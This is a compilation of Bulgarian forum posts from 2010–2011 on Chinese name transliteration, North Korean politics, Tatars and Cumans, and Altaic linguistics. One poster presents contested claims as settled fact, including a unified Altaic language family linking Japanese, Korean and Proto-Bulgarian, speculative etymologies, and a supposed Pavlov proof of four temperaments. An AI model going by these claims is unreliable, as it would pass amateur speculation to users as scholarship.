На 2010/3/22 at 1:09, sinardin написа:
Заслужава си да е тема. :D
Само ми се струва, че това нещо работи с определен набор от по-известни западни имена, та хората с по-специфични и славянски са прецакани. :D
Моя милост е от късметлиите 维克多利娅
ПС. Показва как се пише името ти на китайски, не те кръщава с китайско такова.
Значи ти си Виктория? Изписало е "Уей-къ-дуо-ли-я".
На 2010/3/22 at 1:12, Шингу написа:
Пробвайте и тук Chinese, Japanese, Korean, Thai
http://www.chinese-tools.com/
en-names-calligraphy-20122-23612-23068.png на китайски
nnc.4799.png почти на корейски
Marchooo последната буквичка случайно де е Я
На корейски имаш само сричката "ЯН". А на китайски се чете "Я-ни-на".
---
На 2011/1/3 at 5:11, Камелия написа:
卡梅莉娅 Ей го на и моето. Приятно ми е :)
Ка-мей-ли-я. Добре е.
-
За японците:
Всякакви обобщения от рода на това, че японците са хора със самоконтрол и пр. са неверни, защото има голяма разлика между отделните индивиди. Все едно някой чужденец да ви каже, че "българите са смели" или "българите са работни"...Сигурен съм, че ще можете да го опровергаете с поне няколко ваши познати, които са страхливи и/или мързеливи.
Същото е и за японците. Японец означава основно САМОСЪЗНАНИЕ (да си знае, че е японец) и още няколко неща:
-японски език (незадължително, защото има например 3-то, 4-то поколение японци, родени в чужбина, които не говорят японски, но се имат за японци, т.е. имат си самосъзнанието. Същото е например с Литовските татари, които не говорят грам татарски, но се самосъзнават като татари.)
-жълта раса (с малки изключения, защото някои японизирани айну (японско малцинство) са японци по самосъзнание и по паспорт, но расово не са точно жълта раса)
-култура (условно, защото някои български японисти, например, знаят много повече за японската култура, история, език и пр. отколкото някой отруден японски селянин или японски тийнейджър)
Да не говорим за неща като бойни изкуства и пр., които пък хептен, ама хептен не са народо-определящи.
Всеки човек, а и животните от рода на кучетата (доказно от Павлов) си има 4 основни темперамента. Японците също не са изключение. Психологическите, биологическите закони си важат за тях. А културните наслагвания (надстройката) може да влияе, но само 1 поколение е достатъчно, за да се обърнат нещата накъдето си поискаш.
-
Ето и две мнения за Кореите (които в днешно време са също две), от 2011 г.:
На 2010/9/16 at 16:02, endorian написа:
Аз като гледам тази статия е изцяло от гледна точка на Южна Корея. Като добавиш факта, че комунистите стрелят на месо за удоволствие около границата, мисля че шансовете за обединение са много под 1% ...
Точно и твърдението, че комунистите стреляли на месо за удоволствие е възможно да е от гледна точка на Южна Корея. Ако за нещо няма доказателства е по-добре да не се признава и разпространява като факт.
---
На 2011/1/3 at 22:57, dimetra56 написа:
Да се запиша и аз тук. Мнението ми е наистина скромно, не съм чела достатъчно нито за политиката , нито за живота в Северна Корея. Знам само, че на тоя свят нищо не е вечно. Щом най- големия комунистически стожер, който си беше цяла комунистическа империя падна преди близо 20 години / и там се намери човекът, който провокира бъдещите събития/ , щом и Садам падна, Китай все пак се променя и по- малко се отваря, дори Куба и Либия претърпяват някакви, макар и малки промени, няма как една Северна Корея да остане вечна. Може да е след много време, но ако искат да оцелеят трябва да почнат точно с отваряне към света.
А колкото до отговорността - ами крайно време е тая тяхна фамилна династия да понесе някаква отговорност, поне за животите, които е унищожила за да оцелее. Чудя се на света как изобщо още ги търпи. Само не ми казвайте, че ако искат не могат да се справят с тях........явно засега не искат, та се съгласявам с по-горния коментар по тоя въпрос. По въпроса за недемократичните общества винаги съм много рязка в изказванията си. Не че и Южна Корея е напълно демократична........., е това си е само мое мнение.
ПП : speedy86, доста се впечатлих от твойто хммм. Съжалявам, че не бях влизала в тая тема досега.
Ииии, браво! Един от малкото хора, които да знаят, че И ЛИБИЯ се води социалистическа страна (т.нар. Трети път или Ислямски социализъм)!
Иначе за унищожението на животите - ако вземат да понасят отговорност, то да не говорим още кои и колко страни би трябвало да застанат на съд... ;)
-
На 2010/3/22 at 14:22, CToTaKa написа:
Сега ще ви кажа една прилика конкретно за нас и руснаците. Бердяев е казал за култът на руснакът към "силната ръка" на държавният военнобюрократичен апарат. Бакунин пък лансира втората тенденция на руският дух - омразата към държавата. Това се отнася в същата степен и за нас. Събитията на 14.01.2009г. пред НС показаха точно това.
Бердяев е с татарски корени, да знаете. То и по фамилията си му личи Бердяй - Бердъ...
На 2010/5/25 at 19:08, didkapan написа:
Искам да питам светланчо, от всичките ми изгледани филми и сериали, от доста време ме мъчи един въпрос.
Доста теми прерових и тук ми се видя най-подходящо да пиша, ако не е, да ме извиняват модераторите.
Та въпросът ми е, да не би азиатците да имат някаква непоносимист към пералните или просто е въпрос на национална гордост да нямат такова нещо.
От всичко изгледано досега, даже и в богаташките къщи си мачкат дрехите в легена - ами че на какво прилича това <_<
Верно, филмите и сериалите са насочени и към по-бедната аудитория в страните им, ама все пак си мислех че с техниката нямат проблем.
За корейците - не знам, но за китайците - гаранция, че който има желание и пари, си купува пералня. Никой не се кефи да си губи времето...
По онова, как Корея можело да стане модел за икономическо развитие и пр...Първо трябва да се знае, че съществуването на Корея е под въпрос, ако наистина стане един ядрен конфликт там. Просто не си представям как има толкова смели хора да ходят там и да си правят екскурзии, да не говорим и да живеят. То само остатъчна радиация от някой ядрен опит е достатъчна, че да се появят ракове и какви ли не нарушения в организма. Да не говорим, както казах, ако наистина има ядрен конфликт.
-
Какво мислите за едно от най-популярните японски ястия - суши? Всъщност има го и в корейски вариант - КИМПАП или ГИМБАП се нарича :)
Аз много го обичам.
-
За човек от Ким-династията, където съм постнал през 2010:
Брат на днешния Северно-корейски президент - Ким Чен-Ир (половин брат, всъщност, защото е от друга майка) и син на Ким Ир-сен е бил посланик на Северна Корея в България през 1989 година. Човекът се казва 김평일 - Ким Пьонг-Иль (на български може и да се транслитерира като Ким Пьонг-Ир) и в момента е посланик на Северната Корея в Полша.
Който иска да го види и да чете повече за него - ТУК (https://en.wikipedia.org/wiki/Kim_Pyong-il) /А в момента - 2017 - посланик на С. Корея в Чехия./
-
Ето още от онова време мнения за Северна Корея, пак от същия форум:
Не знам колко братски гледат от Юга на Северна Корея, само знам, че когато някой има ядрено оръжие и почват да го гледат малко по-уплашено и с малко повече страхопочитание. Аз лично не одобрявам цялата патаклама там.
Колкото до режима - определил съм го като Корейска държавно-капиталистическа монархия. Ако някой се чуди как така - много добре съм се аргументирал тук:
kry4ma.com/index.php?topic=2118.0 ("Политологично определение за КНДР
« on: December 06, 2010, 08:48:25 AM »
Ще направя един политологически опит за по-прецизно определение на политическата същност на КНДР, позната също като "Северна Корея".
Официалното й название е КНДР = Корейска Народно-Демократическа Република. (На корейски: 조선민주주의인민공화국 - Чосън Минджуджуъй Инмин Конгхуагук, буквално Корейска Демократично-Народна Република, т.е. КДНР). Названията и самоназванията, обаче, не винаги и не задължително изразяват политическата същност на една държава.
Заради идеологическата платформа (определяна като социализъм или комунизъм от корейски тип) някои наричат Северна Корея "комунистическа страна", което също не отразява точната й същност, защото по определенията на класическия Марксизъм тази страна, а и която и да е друга по света днес, не може да бъде комунистическа, защото не е построила въпросния комунизъм. Някои са по-близко до истината като казват, че това е Комунистическа монархия. Преди и аз мислех, че това е най-точното определение, но накрая стигнах до още по-точно и, навярно, най-точното: Държавно-капиталистическа монархия (ДКМ) или в случая КДКМ (Корейска Държавно-Капиталистическа Монархия).
Държавният капитализъм е капиталистическа икономическа система при която държавата е единственият капиталист. В този смисъл Съветският модел на социализма също е държавен капитализъм, защото собствеността не е обществено-контролируема, а се контролира от държавата, която е собственост на Партията, т.е. Партокрация. В стози смисъл СССР се е явявал ДКП - Държавно-Капиталистическа Партокрация. Северна Корея не е просто партокрация, а и монархия, защото вече 3 поколения Ким (дядо,баща и внук) са на път да контролират властта, т.е. това е клан или династия. Ето защо, според мен, КНДР е КДКМ - Корейска Държавно-Капиталистическа Монархия. Манархът им се нарича "Вожд" ("Сурьонг" - наподобява ми на тюркския титул СЮБАШИ и на парбългарския СЮБИГИ), "Слънце" ("Теянг" - думата е китаизъм, от китайското "ТАЙЯН"), "Гакха" (Негово Превъзходителство) и пр.")
(в статията има и интересни езикови моменти)
Поздрави!
---
На 2010/12/28 at 20:57, zlaty_pet написа:
В този смисъл и ние бяхме ДКП, ако точно съм разбрала. И общо взето целият Източен блок.
А това, че КНДР е монархия го признава май цял свят, или поне никой не отрича. Те фамилия Ким точно така си ги наричат съвсем официално - "Династията Ким".
Патакламата едва ли някой нормален човек я одобрява. Добре, че от време на време големите батковци пляскат през ръчичките малкия Чосончо, да не се самозабравя, че той е непредвидим.
Благодаря за езиковите моменти :) ! Обичам подобни аналогии, пък щом и българско има замесено, става още по-интересно. Продължавай в същия дух! Много ме радваш B) !
Ами да, правилно си разбрала. Политологичния анализ показва точно това - не е имало никакъв социализъм, камо ли комунизъм. Държавно-капиталистически формации, с тая разлика, че България не прекали да прави династии, т.е. остана си ПАРТОКРАЦИЯ, докато Северна Корея е не просто партокрация, но и монархия. Официално в Северна Корея не се наричач монархия - официално са си КНДР и смятат, че се ръководят на принципа на "демократичния централизъм".
Патакламата се одобрява от доста нормални хора, които са прекалени оптимисти и мислят, че Северна Корея може да победи и да превземе САЩ, примерно. Не разбират добре от военно дело просто. А, че има и откровени психопати, които се радват, ако мрат хора и расисти, които смятат, че жълтите трябва да се изтребят - това също се намира по белия свят.
Големите батковци дето казваш - в някои случаи, както в този, са полезни, макар че личното ми мнение е, че може и по-добре.
Разбира се, не бива да забравяме, че ОСНОВАНИЕТО (основата) на всичко става точно заради това, че САЩ и СССР си поделиха сферите на влияние тогава. Ако не бяха, най-вероятно сега щеше да има само една голяма Корея, най-вероятно от "Северен тип", но както е казвала моята учителка по история - "В ИСТОРИЯТА НЯМА "АКО"".
За езиковите аналогии - АМИ АЗ СЪМ ИМ ФЕН! Даже имам езикови открития, които ще ви представя в подходяща тема по-нататък.
Колкото до българското - по-скоро ПРАБЪЛГАРСКО е много замесено, но и българско си има (в смисъл и в съвременния бг-език има много алтайски думи - някои са с прабългарски произход, други с кумано-татарски, трети с японски, монголски...).
Обещавам да пиша тука редовно, щом като има вече поне няколко момчета и ОСОБЕНО момичета :rolleyes: , на които им харесва ;)
---
На 2010/12/29 at 15:22, zlaty_pet написа:
Някъде бях чела, че ако в името на една страна се съдържа думата "демократична", значи нещо не е наред :) .
А тук за нормалните хора не съм съгласна. Едва ли нормален човек може да одобрява нещо подобно, трябва да е поне леко извратен. То расисти, оптимисти :lol: и всякакъв вид фанатици винаги ще се намерят, ами дано здравият разум да надделее.
За сферите на влияние е ясно. Какво да прави горката малка Корея, като се е пръкнала /и тя като България/ на кръстопът! Та големите да си мерят ....... за нейна сметка.
За аналогиите - брой ме и мен фен! Сега се прехвърлям на Алтаистиката да видя какво си писал там;) !
А, едва ли има някаква зависимост между това кой как ще се кръсти и как ще се развие страната. Примерно Южна Корея е била по едно време също много тоталитарна, сега е относително по-демократична страна. Самото й название е ДЕ ХАН МИН ГУК. Мин гук (민국) = Народна страна(идва от китайското МИН ГУО - 民国). А пък Лаос си е също народно-демократична република, ама не е като Северна Корея. Т.е. може да се кръсти една страна по какъвто си иска начин, но същността й да е съвсем друга. То и с хората така - примерно кръщават някой Ангел, но може да е жив дявол :lol:
Дядо, баба, мама и татко в моя род, без изключение, са работили в психиатрията, та покрай тях и не само покрай тях, съм научил много за психиатрията и особено за психопатологията. Ето защо съм малко по-прецизен като определям ненормалните :) В тоя смисъл си мисля, че има напълно нормални хора, които просто са американофоби или корефили или и двете, та при тях, напълно нормо-психологически се появява едно желание "НАЩЕ ДА ПОБЕДЯТ!". Ако това желание го съчетаеш с пълната липса на военна грамотност и запознатост с последното развитие на научно-техническата и военната база на Северна Корея и на САЩ, тогава наистина може и да си се заблуждаваш, че победата е в кърпа вързана. Не всеки заблудил се е луд. Ама като цяло съм на твоята позиция, че да се радваш, ако стават трагедии не е добре.
----
За аналогиите, сравненията и изследванията - разбира се, че те броя. Главно ти ме стимулира да почна да пиша. Вече публикувах откритието си за БЪЛГАР-а :) Очаквай днес, малко по-късно, включване от мене и по други интересни теми в бранша - например как титлата ХАН се среща в различна форма от прабългарите чак до японците или как някои думички в прабългарския календар си имат своите алтайски аналози - узбекски, японски, корейски, татарски и пр. :)
---
На 2010/12/29 at 16:34, zlaty_pet написа:
Хайде, чакам, чакам! /Само дето съм на работа и също така чакам, ако ме хванат да ме убият :lol: !/
Относно календарите последното, което бях прочела вече не знам кога и къде беше, че прабългарският е по-стар от китайския и тез хитряги китайците си го били откраднали и покитайчили. Там ти ще кажеш!
За ХАНа също чакам с интерес. Също и да ми обясниш защо в последно време налагат КАН и ми обръщат подредения свят с краката нагоре :P ?
За първи път такова мнение съм чел у доктор Дориян Александров в студията му "Прабългари, хуни и китайци". Понеже по онова време китайците били земеделци, а календарът съдържа много животновъдство, предполага се, че са го заели от Хунну, от което произлизат по-късно и прабългарите. По онова време никой не се е стискал за авторски права относно такава интелектуална собственост, така че за кражба не може да се говори. Самите хунну (и впоследствие прабългари) също заемат много неща от китайската култура.
За хана вече писах - виж в Алтаистиката :)
За налагането на КАН вместо ХАН - не е проблем. Проблем според мене са само разни тракийски и ирански теории, които изкарват прабългарите роднини с албанците или с кюрдите, но не и с алтайските народи, както си е основно. Т.е. това за КАН е донякъде правилно, защото в прабългарският и в много други езици - например КАЗАХСКИЯ, ТАТАРСКИЯ си има един звук, който е между К и Х, та най-правилно е да се пише КХАН, но и КАН може. Ние сме си свикнали да го пишем ХАН, но да знаете, че е било нещо между К и Х. Също като името на Аспарух, което е било най-вероятно с К накрая и е звучало по-скоро като "ЪШБЪРЮК", родствено с Тюркютската династия - ЪШБАРА (АШБАРА). Даже някои си мислят, че това не е било лично име, а титла на хана, защото знаем, че баща му - Кубрат е бил дълго време в зависимост от Тюркютите (Тюркютския хаганат се е простирал приблизително от западните граници на днешна Корея до Черно море и Кубратова България е била част от него известно време).
---
На 2010/12/31 at 20:55, lussy792000 написа:
Чак сега виждам, че дискусията е преместена тук.
По една случайност (свързана със следването ми) съм изчела доста неща за комунизма. Обаче информацията много се разминава. Например ако четеш западногерманска литература по темата, писана през 80те години, ще намериш много неща, който аз помня, че не са били така. Просто виждането е различно. И това продължава сега в Източна Азия. Просто на американците им трябва студена война, за да могат на спокойствие да си развиват собствените си оръжия. Някой може ли да ми обясни, как може толкова бедна държава като С.Корея (в която хората умират от глад) да разработва ядрено оръжие (то да не струва стотинки). И друго, всички обвинявят за всичко С.Корея (в немските медии например я напричаха с какви ли обидни имена заради този инцидент), обаче Ю.Корея един път не й е отстъпила, винаги не само отговаря на атаките, но и напада. Не че защитавам С.Корея, но не мисля, че е единствената виновна. Примерно в Китай инцидентът е бил представен като нападение на Ю.Корея :huh: . И вече ми се струва, че самите Кореи не искат да враждуват помежду си, а по-скоро други ги надъхват. Дано се разберат.
Не само виждането, но и пропагандата влияе. В смисъл някой редактор тогава може и да не е бил съгласен с еди-какво си, но е бил длъжен да го редактира, ако не иска да му изстине мястото, че и още по-лошо. Това продължава не само в Източна Азия, а навсякъде по света, в различна степен и с различни методи.
За Северна Корея - официалната им гледна точка, в един от официалните им сайтове е, че вече нямат проблеми с глада. Сега някой да не вземе да спори - просто представям каква им е официалното становище. Имахме проблеми, казват, ама вече няма и си имаме икономически растеж.
Относно защо разработват ядрено оръжие, когато (вероятно) няма за храна, отговорът (от тяхна гледна точка) е прост - "Ако не храним наша армия, после ще храним чужда." Доктрината се е изменила през последните години от доминация на идеите Чучхе до доминация на доктрината Сонгун (което значи ПЪРВО АРМИЯТА!)...
Всъщност притежанието на ядрено оръжие е ГОЛЯМ КОЗ и от историята е ясно, че страни с ядрено оръжие имат по-силни позиции. Ако през 1999 Югославия имаше ядрено оръжие, едва ли щяха да я нападнат.
Би ли казала къде в Китай е представен инцидентът като нападение на Южна Корея? Не съм сигурен, но мисля, че тука просто го представиха като инцидент, без първи и втори... Но може да съм пропуснал нещо.
-
Ето такова представяне от 2010, пак там: "Отговорено 26 Декември, 2010
Гесер Курултаев. Философ с татарски корени (татарите са от алтайското семейство като корейците, японците, монголите, казахите и др.). Живеещ в Китай. Админ на Първа виртуална българска кръчма и на първия сайт за девствените и девствеността в България. На повечето тука съм батко, ама това няма значение.
Поздрави."
Въпросните сайтове ги продадох отдавна (виртуалната кръчма - продадена, за девствеността - подарен). В момента се занимавам основно с този сайт.
---
Радвам се за топлото посрещане! Горд съм, че по толкова много начини съм те докоснал. Обичам да докосвам така, всецяло аз ! :)
Алтайската работа е голяма работа, отдето и да го погледнеш. Да знаеш само колко сходни татарски и корейски думи има, а и татарски и японски...личи си общият корен. Примерно ЖЕРАВ на корейски е ТУРУМИ, а на татарски е ТУРНА. Около 15-20 % от думите си приличат. С японският е почти същото - примерно японското КУРО значи черен, а това на татарски е КАРА...Неизчерпаема тема!
---
На 2010/12/28 at 7:19, Sierra написа:
Тъй си е, а в бъдеще усещам, че докосването ще придобие и други измерения освен виртуалното.
А как е на татарски "сарангхе" или "суки" или "айщерю" за по-силно?
Първо по най-важното - докосването :lol: - колкото повече докосване, толкова по-добре. Стига да не си под 14, де, защото и в България, и в Китай само след 14 години имаш право да се докосваш по-така (недевствено имам предвид). След като се произнесох по тази важна тема, сега по другата ;)
Всички фенове на лингвистиката и, конкретно, на АЛТАИСТИКАТА да са наясно, че родството на думите може да се проследява НАЙ-ВЕЧЕ в по-прости думички. Да речем, ако сравняваш 2 родствени езика по-голяма вероятност е да имат родствени, с общ корен, думи от рода на СЛЪНЦЕ, ВЪЗДУХ, ПТИЧКА, а не някои понятия като ДИАЛЕКТИЧЕСКИ МАТЕРИАЛИЗЪМ или ТЕЛЕВИЗИЯ.
Сарангхе (Сарангхейо)/корейски/ и Аишитерю /японски/ значат "ОБИЧАМ ТЕ" (за суки-то не знам какво е - може да ме просветиш). Така че има вероятност ОБИЧАМ ТЕ като думичка не толкова нова за човечеството да има сходства в езците.[/color ]
В случая с тези 3-те (японски, корейски и татарски) има едно неудобство - ГОЛЕМИЯТ БРОЙ ЧУЖДИЦИ И ЗАЕМКИ в тях - докато японците и корейците имат много китаизми и англицизми (стигали са и до 70 % от езика им, представете си!), то при татарския има много персизми, арабизми и русизми. Това е нормално, предвид историята на тези алтайски народи и различното им географско разположение. Това беше необходимо въведение, за да разберете, че АЙШИТЕРЮ излиза извън строя, защото идва от китайското ОБИЧ/ЛЮБОВ - "АЙ" （пише се така: 爱, ако са ви китаизирани комповете, ще го виждате като йероглиф, ако ли не - ще ви излиза като квадратче）. Така че остава САРАНГХЕ или САРАНГХЕЙО да видим с кое татарско любовно нещичко е родствено. Коренът на тези думи е САРАНГ (обич)/да не се бърка със САРАМ = човек!/ В татарския родственото е СЬОЙ или СЮЙ (според диалекта), което има родство със САРАНГ-а. Най-родствения начин с корейския език е, ако кажеш "СЬОЯМЕН СИНЕ", почти звучи като "САРАНГ-ХЕ", иначе си има и други начини, но тоя е "най-корейския" :rolleyes:
Извинявам се, ако съм писал в тази тема повече лингвистично, отколкото трябва. Моля душичката Сиерра или друга душа или душ (това е мъжки род на "душа" ;) ) да ми дадат линкче към някои яки алтайски дебати, ако има такива тука. Ще ви разкажа много интересни неща за аналогии между КОРЕЙСКИ и ПРАБЪЛГАРСКИ, например. Това Алтаистиката ми е голямо хоби, макар и по образование да съм философ (философ-антрополог, по-точно)
Сега ще отговоря и на момчето.
На 2010/12/28 at 2:09, Ragnos написа:
Добре дошъл, Гесер!
Батковците тук са на почит хем по възраст, хем и по пол. :D Вчера се зачетох в твоя форум - темата за корейските сериали в българския ефир - и въпреки че съм болен и си изпросих леко мъмрене, че вися пред монитора, заставам зад твоята теза в спора с колежката ти кръчмарка. Така че имаш едно виртуално рамо от мен. ;) Приятно изкарване в малкото ни азиатско кътче!
Аз първо да кажа, че Кръчма.ком, освен за алкохол си е и за много други неща - напр. алтернативна енциклопедия за нещата, които ги няма в Уикипедия по някакви си причини, наука, китайски уроци и пр. За съжаление, поради наличието и на алкохолни теми, по закон, могат да се регват само пълнолетни, но по неалкохолните теми мисля, че няма проблеми да си четете, както в случая с корейските сериали. Ако искате мога да ви дам линкове за ТАТАРИТЕ и за ПРАБЪЛГАРИТЕ. Интересни неща са, особено, за хора, които обичат Алтайските народи и култура (а татарите и прабългарите са си алтайци, от западно-хунския клон на тюрксата група в Алтайското семейство).
Онази колежка - Вая, за която казваш, хич не обича корейци, виетнамци, китайци, японци...Просто не мога да си представя как може да има такива хора? Сигурно и вие не можете! :) Иначе тя не пие алкохол и в много отношения си е умно момиче, но стане ли дума за азиатци и други не-бели - не ги приема и това си е. Кефи се на Италия тя. Ама карай - всеки да си избира.
Радвам се, че си отделил внимание на спора! :) То добре, че стана и тоя спор, де, иначе нямаше да се навия да пиша тука :)
---
На 2010/12/28 at 20:10, Sierra написа:
Жена за възраст не се пита, още повече невинно дете като мен :lol:!
Иначе "суки" е нещо средно между "харесвам" и "обичам" - принципно японците го използват като признават на любимия/любимата, че си падат по тях. Не си гледал японски сериали, виждам аз, и се възмущавам. :P
Аз пък ти четох другия форум и много се вдъхнових над понятието "полудевствен" - можеш ли да обясниш какво значи?
Оооо, пита се и даже се искат доказателства като лична карта, че иначе може да те питат тебе разни други неща на едни места, които им викат полиция, съд...така че - питайте си, искайте доказателства, иначе може да стане някой фал (говорим за т.нар. възраст на ВАЛИДНОТО сексуално съгласие - ето да прочетете, това може да спаси доста хора от проблеми в живота: devstveni.kry4ma.com/index.php?topic=5.0 - от форума, за който споменаваш). (В момента гледам, че вече не работи, затова ето друга връзка, ако някой чете тук, да знае: https://bg.wikipedia.org/wiki/Възраст_за_сексуално_съгласие_в_Европа (https://bg.wikipedia.org/wiki/Възраст_за_сексуално_съгласие_в_Европа) )
За сериалите - аз нямам много време за тях - трудно и за обикновено филмче намирам време. В Китай са много популярни Южно-корейските сериали. Много китайци предпочитат южно-корейското пред японското, защото много народ в Китай (а и не само в Китай) не обича много японците, заради провиненията им през Втората световна война.
А за понятията - зависи кой какво ще вложи в тях. Особено за такива неутвърдени понятия като "полу-девствен".
За "суки"-то, предполагам, че може и да е с алтайски произход.
Погледнах в Алтайската база-данни и открих, че има няколко суки-та в японския.
1. Суки = плуг (родствено с прамонголското СЮКЕ = брадва, както и с доста тунгусо-манджурски думи за нещо остро, пробиване и пр.)
2. Суки (праяпонски) = село (родствено с пракорейското СЪКУР = провинция, село)
3. Суки-яки = вид японско месно ястие (родствено с прататарското СЬОГЮЛ = печено месо)
И.Т.Н.
Интересна е и възможната връзка между новопрабългарското (чувашко) ШЪЛДЪР /красиво/ и японското САСО /съблазън/. Смята се, че произлизат от общия праалтайски език, от думата САЛО (обич, обичане, обичам)
И за десерт - по любимата ти сексуална тема една дума:
В старояпонския има дума КУНАГАПИ значеща "съвкуплявам се" (в среднояпонския става КУНАГ). Родствена е с прататарското КЪН, което желание, стремеж, сексуално желание и от сорта.
---
На 2010/12/28 at 23:13, mike написа:
Не, че ме питат, ама да кажа моето предположение- ще е същото като "полубремена" :lol:
Иначе добре дошъл на Гесер и от мен, както се казва - поздрави от България. Тук, в Русе има прилична татарска общност, поне аз се познавам с неколцина хора, които се гордеят, че са татари и всичките са много готини и страшно работливи.
Нещо подобно, макар че, според мен да е възможно нещо като полу-девственост, но трябва да се дефинира добре.
В България има татари. Идването им е свързано с няколко вълни. Най-ранната е тази на Златната Орда, когато и се сформират татарите (те са основно кумани, смесени с монголи и прабългари; куманският език и днешният татарски са почти едно и също нещо). Последната е след разгрома на Кримското ханство. Много от румънските и българските татари са в малка или голяма степен турцизирани (в смисъл не правят голяма разлика между турско и татарско и/или говорят на турски и български/румънски, но не и на татарски). Много от тях даже не предполагат, че имат общ корен с японци, корейци, тунгусо-манджури, монголци, казахи, прабългари/чуваши и пр. Но това е друг проблем - сред самите японци, корейци и пр. също има доста народ, които не знаят, че си имат нещо общо с татарите (ако са чували за тях) или с монголците, примерно. Защото то едно е да имаш нещо общо, а съвсем друго е да си го осъзнал, да си го научил.
Далеч съм от мисълта, че всички татари са много готини и страшно работливи :rolleyes: , но не е лошо да има всеки народ такъв имидж. Всичко си е до конкретния човек. Щом гледате корейски, японски и пр. сериали, значи че сте се образовали доста за народите извън България и сте видели, че всред всеки народ си има всякакви чешити: работни-мързеливи, страхливи-бойно, учени-тъпи...
Ако някой се е заинтересувал - Кримските татари (голямата част от българските татари са точно с Кримски произход) имат 3 диалектни зони - южна, средна и северна. Южната е била най-много под Османско влияние, затова и тя се е турцизирала най-силно. Останалите две си говорят на кумански. Това пояснение го правя в случай, че някой път откриете, че дадена татарска реч е всъщност почти турска. МАКАР ЧЕ ЗА НЕТРЕНИРАНОТО УХО даже японския може да звучи като турски:
Незабравима си остава случката от един общ чат на времето от град в Добруджа, където има български турци и съответно анти-турски настроени българи. Значи в тоя чат имаше някакъв ГОЛЯМ ФЕН на Япония. И по едно време се вдъхновил човека и реши да напише изречението "АЗ СЪМ САМУРАЙ!" на японски. Пише си го "Watashi-wa samurai des!" (Уаташи-уа самурай дес!) и реакцията е мигновена и разбийствена:
-Абе ти и на турски ли почна да пишеш, бе майка ти #$%!
Хаха.
На 2010/12/28 at 23:55, speedy86 написа:
На новата звезда на форума казвам "Добре дошъл", явно успя да провокираш интерес.
А сега бихте ли си довършили прелестната дискусия на лични съобщения или поне в някоя по-подходяща тема? Благодаря.
И аз това питам - има ли някоя тема за Алтаистика (всичкото алтайско - японски, корейски, монголски, татарски и пр. НА КУП). Ако няма - дайте направете и да се пренасочим там, че тука и на мене ми стана вече неудобно :D
Иначе - добре заварили! С каквото мога - ще помагам. Може да разменим и линкчета с моите форуми. Ще държим приятелски отношения :)
---
На 2010/12/29 at 0:22, mike написа:
Няма такава тема, пускай смело и безотговорно.
П.П. Моите скромни познания по история ми подсказват, че навремето куманите сме ги разбили ние (българите), защото имали навика като тръгват на война с обоза да влачат и децата, старците и жените, което им давало допълнителни сили, но в конкретния случай им изиграло лоша шега. Не съм 100% сигурен дали бяха точно куманите, но съм почти убеден, че бяха те. Като юноша бледен много четях една книжка точно с тази история - унищожаването на този народ,( сега, като се замислих, може и хазарите да са били)
Смело може, безтотговорно - не може :) Предлагам някъде из езиците да се направи тема АЛТАИСТИКА, там може да пишат всички, които има какво да кажат за японски, корейски, монголски, тунгусо-манджурски и тюркски (включително татарски) езици, народи, култури...
За куманите - куманите са били много родове и много обединения. Понякога са печелили битки срещу Руските княжества и др. , понякога са губили. Специално за България - част от Западните кумани (щото Дешт-и-Кипчак или КУМАНСКАТА СТЕП е била от България до днешен Западен Китай) СА НАЙ-ПЛОДОТВОРНИТЕ съюзници до падането им под Монголска власт.
3 български династии са от кумански произход (то си личи и по куманските им, алтайски имена):
-АСЕНЕВЦИ
-ТЕРТЕРОВЦИ
-ШИШМАНОВЦИ.
Отделно много кумани са имали регионална власт като - Елтимир (Алдомир), Балик и пр.
Като цяло Второто Българско царство е кумано-българско.
За унищожаването на куманите - не са унищожени, просто днес са познати под различни имена (подобно на това както българите, примерно, са познати под различни имена - бесарабски българи, македонски българи, тракийци, добруджанци, шопи, торлаци, капанци и т.н.). В смисъл - има си народности: казански татари, литовски татари, кримски татари, астрахански татари, ногайци, кумъки, които по език и по други части от културата не са толкова различни помежду си и просто са потомци на куманите, леко видоизменени с времето.
А виж хазарите (те са били от същата тюрко-алтайска Р-група като прабългарите, даже според някои изследователи са едно от прабългарските племена) май са изчезнали, макар и според някои днешните кримчаци и карайлари да са им потомци (проблемът при тях е, че макар и да са с хазарска религия, говорят на кумански и не е много сигурно дали са някакви потомци на хазарите).
Допълнителни сведения за Р-групата:
Алтайските народи в началото са били само 1 праалтайски народ. После почват да се делят докато се стигне до днешното им разнообразие. Ето как е станало разделянето:
1. Алтайски голям народ.
2. Отделяне на Западен и Източен дял. Западен = тюрко-монголци; Източен = Японо-корейо-манджури.
3. Разделяне на Монголския и Тюркския народ (хуни). Все още неразделен японо-корейо-манджурски народ.
4. Монголски народ, Тюркски народ (хуни). Разделяне на манджурите с корейо-японците.
5. Отделни тюркси народ, монголски народ, манджури, отделяне на японците от корейците.
Общо взето това е. Та на онзи 3-ти етап, в най-ранните му моменти едни тюрки (хуни), все още пазещи много тюрко-монголски елементи в речта си (преобладаването на звуковете Л и Р, за разлика от тези на останалите, по-късни тюрки, при които ще преобладават З и Ш) се отделят от останалата тюркска маса и се придвижват към Европа. Точно това са хуните или хуно-българите (прабългарите). По въпроса защо хуни и прабългари е едно и също може да поговорим в отделен пост.
Р-тюрките или ЛИР-тюрките са: прабългари (хуни), авари, хазари и днешните чуваши. При тях много думи са се консервирали като тюрко-монголски или тюрко-алтайски, следователно по-често може да се намери прилика с японските, корейските, монголските и тунгусо-манджурските такива. Прост пример: КАМЪК - в обикновените тюркски езици е основно ТАШ. Да, но в чувашкия (новопрабългарски език) е ЧУЛ или ЧОЛ. Това е родствено с монголското ЧУЛУУ и с корейското ТОЛЬ.
-
Пак от същия - става ясно и защо вече не пиша там отдавна:
Имало едно място, където лебедите били само бели. Там живеело едно младо момиче, което толкова обичало лебедите, че решила да учи орнитология (наука за птиците), за да знае всичко за лебедите. Учили и научила много за техните пера, клюнове, размножителни периоди, сигнали...Мислила си, че знае вече за лебедите повече, отколкото други хора, които никога не са учили за тях.
Един ден започнала да пише във форум и по едно време пристигнал един човек, на години - неин батко, който казал, че ИМА И ЧЕРНИ ЛЕБЕДИ. Момичето избухнало в смях и казало, че такива лебеди няма, защото преподавателите й никога не намерили за нужно да й кажат това. Баткото я уверявал, че е виждал и даже пипал черни лебеди, но тя така и не вярвала. Накрая той отворил уикипедията и й показал снимка на черен лебед. Тя нямало къде да отиде и си признала волю-неволю, че някъде може и да има, но дошла една Врачанска модераторка, която разбирала повече от гарги, а не от лебеди и затрила постовете на баткото, където той просветил народа, че има и ЧЕРНИ ЛЕБЕДИ. Така много хора си останали със заблудата, че има само бели лебеди...
